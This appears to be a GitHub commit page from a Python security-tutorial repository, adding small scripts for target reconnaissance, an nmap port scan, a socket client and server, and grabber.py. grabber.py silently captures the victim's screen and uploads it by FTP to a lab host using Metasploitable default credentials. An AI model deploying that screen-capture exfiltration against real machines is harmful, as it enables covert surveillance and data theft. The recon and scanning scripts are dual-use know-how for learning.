Skip to content

Commit f698082

Browse files
committed
add sourcecode
1 parent bf7c509 commit f698082

23 files changed

+2746
-0
lines changed
Binary file not shown.

01/inforecon.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import sys
2+
import requests
3+
import socket
4+
import json
5+
6+
if len(sys.argv) < 2:
7+
print("Usage: " + sys.argv[0] + "<url>")
8+
sys.exit(1)
9+
10+
req = requests.get("https://"+sys.argv[1])
11+
print("\n"+str(req.headers))
12+
13+
gethostby_ = socket.gethostbyname(sys.argv[1])
14+
print("\nThe IP address of "+sys.argv[1]+" is: "+gethostby_ + "\n")
15+
16+
#ipinfo.io
17+
18+
req_two = requests.get("https://ipinfo.io/"+gethostby_+"/json")
19+
resp_ = json.loads(req_two.text)
20+
21+
print("Location: "+resp_["loc"])
22+
print("Region: "+resp_["region"])
23+
print("City: "+resp_["city"])
24+
print("Country: "+resp_["country"])
Binary file not shown.

02/nmapscanner.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import nmap
2+
import sys
3+
4+
target = str(sys.argv[1])
5+
ports = [21,22,80,139,443,8080]
6+
7+
scan_v = nmap.PortScanner()
8+
9+
print("\nScanning",target,"for ports 21,22,80,139,443 and 8080...\n")
10+
11+
for port in ports:
12+
portscan = scan_v.scan(target,str(port))
13+
print("Port",port," is ",portscan['scan'][list(portscan['scan'])[0]]['tcp'][port]['state'])
14+
15+
print("\nHost",target," is ",portscan['scan'][list(portscan['scan'])[0]]['status']['state'])
Binary file not shown.

03/grabber.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
import wx
2+
import os
3+
import ftplib
4+
5+
w = wx.App()
6+
screen = wx.ScreenDC()
7+
size = screen.GetSize()
8+
bmap = wx.Bitmap(size[0],size[1])
9+
memo = wx.MemoryDC(bmap)
10+
memo.Blit(0,0,size[0],size[1],screen,0,0)
11+
12+
del memo
13+
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
14+
15+
sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin")
16+
file_ = open("grabbed.png", "rb")
17+
sess_.storbinary("STOR /tmp/grabbed.png", file_)
18+
19+
file_.close()
20+
sess_.quit()
21+

04/client.py

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
import socket
2+
3+
sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
4+
sock_.connect((socket.gethostname(),9337))
5+
msg = sock_.recv(1024)
6+
sock_.close()
7+
print(msg.decode("ascii"))
8+

04/server.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import socket
2+
3+
host = socket.gethostname()
4+
port = 9337
5+
6+
sock_ = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
7+
sock_.bind((host,port))
8+
sock_.listen(1)
9+
10+
print("\nServer started...\n")
11+
12+
conn,addr = sock_.accept()
13+
14+
print("Connection established with: ",str(addr))
15+
16+
message = "\nThank you for connecting "+str(addr)
17+
conn.send(message.encode("ascii"))
18+
conn.close()
Binary file not shown.

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy